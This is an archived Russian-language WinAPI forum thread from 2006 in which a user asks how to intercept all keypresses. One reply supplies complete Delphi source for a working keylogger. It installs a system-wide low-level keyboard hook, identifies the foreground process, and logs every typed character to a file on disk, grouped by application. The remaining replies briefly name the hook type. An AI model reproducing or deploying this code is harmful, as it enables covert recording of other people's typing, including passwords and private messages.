Форум: "WinAPI";
Текущий архив: 2006.03.26;
Скачать: [xml.tar.bz2];
ВнизHook клавиатуры Найти похожие ветки
← →
Человек (2006-01-02 17:13) [0]С наступившим!
Возник вопрос, как сделать перехват всех нажатых клавиш, включая shift,alt,tab итд?
Заранее спасибо
← →
kami © (2006-01-02 18:16) [1]с помощью WH_KEYBOARD ?
← →
kami © (2006-01-02 18:35) [2]Рабочий пример, корректно определяющий нажатия клавиш в русской раскладке (как-то спрашивал про это на форуме, в итоге - сделал сам :-) )
type
KBDLLHOOKSTRUCT=packed record
vkCode:DWORD;
scanCode:DWORD;
flags:DWORD;
time:DWORD;
dwExtraInfo:pointer;
end;
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
function KeyboardProc(code:integer;W:WParam;L:LParam):LResult;stdcall;
function GetModuleBaseName(hProcess:THANDLE;hModule:HMODULE;lpBaseName:LPTSTR;nSize:DWORD):DWORD; stdcall;external "Psapi.dll" name "GetModuleBaseNameA" ;
var
Form1: TForm1;
MyHook:HHook;
KeyFile:TFileStream;
CurrentFileName:string="";
LeftCorner:Char="[";
RightCorner:Char="]";
Ret:array [0..1] of char=(#13,#10);
const
WH_KEYBOARD_LL=13;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject); // установка хука
begin
KeyFile:=TFileStream.Create("c:\KeyLog.txt",fmCreate);
MyHook:=SetWindowsHookEx(WH_KEYBOARD_LL,@KeyboardProc,hInstance,0);
if MyHook=0 then
ShowMessage("Error : "+IntToStr(GetLastError));
end;
procedure TForm1.Button2Click(Sender: TObject);// удаление хука
begin
UnhookWindowsHookEx(MyHook);
KeyFile.Free;
end;
function KeyboardProc(code: integer; W: WParam; L: LParam): LResult;
var
kbd:KBDLLHOOKSTRUCT;
keyState:TKeyboardState;
Ch: packed array[0..1] of char;
RetChars:integer;
ProcessID:DWORD;
ProcessHandle:THandle;
pFileName:PChar;
FileNameSize:uInt;
WindowHWND:HWND;
begin
if code<0 then
begin //if code is <0 your keyboard hook should always run CallNextHookEx instantly and
Result:=CallNextHookEx(MyHook,code,W,L); //then return the value from it.
Exit;
end;
if (W=WM_KEYUP) then // анализируем по отпусканию клавиши
begin
kbd:=KBDLLHOOKSTRUCT(Pointer(L)^);
GetKeyboardState(KeyState);
KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT); // НЕ УДАЛЯТЬ!!!
// GetKeyboardState почему-то не определяет нажатия шифтов, посему
// для качественного распознавания определим их нажатие сами.
// начинаем определение программы, в которой была нажата клавиша
WindowHWND:=GetForegroundWindow;
ProcessID:=1;// без узнавания активного потока почему-то не работает
RetChars:=ToASCIIEx(
kbd.vkCode,
kbd.scanCode,
keyState,
Ch,
0,
GetKeyboardLayout(GetWindowThreadProcessId(WindowHWND,@ProcessID)));
// в Ch - нажатые символы
// kbd - не изменялся
// если нужны "непечатаемые" символы, то анализировать vkCode (см Virtual Key Code)
// определяем имя файла, с которым работает пользователь.
ProcessHandle:=OpenProcess(
PROCESS_QUERY_INFORMATION or PROCESS_VM_READ,
false,
ProcessID);
GetMem(pFileName,MAX_PATH+1);
FileNameSize:=GetModuleBaseName(ProcessHandle,0,pFileName,MAX_PATH);
CloseHandle(ProcessHandle);
// записываем в лог нажатую клавишу
if FileNameSize<>0 then
begin
if CurrentFileName<>pFileName then
begin
CurrentFileName:=pFileName;
KeyFile.Write(ret[0],2);
KeyFile.Write(LeftCorner,1);
if CurrentFileName<>"" then
KeyFile.Write(CurrentFileName[1],FileNameSize);
KeyFile.Write(RightCorner,1);
KeyFile.Write(ret[0],2);
end;
if RetChars>0 then
case kbd.vkCode of
VK_RETURN:
KeyFile.Write(ret[0],2);
else
KeyFile.WriteBuffer(Ch[0],RetChars);
end;
end;
FreeMem(pFileName);
end;
Result:=CallNextHookEx(MyHook,code,W,L); //call the next hook proc if there is one
end;
← →
Leonid Troyanovsky © (2006-01-03 16:15) [3]
> Человек (02.01.06 17:13)
> Возник вопрос, как сделать перехват всех нажатых клавиш,
> включая shift,alt,tab итд?
WH_KEYBOARD_LL
--
Regards, LVT.
Страницы: 1 вся ветка
Форум: "WinAPI";
Текущий архив: 2006.03.26;
Скачать: [xml.tar.bz2];
Память: 0.46 MB
Время: 0.039 c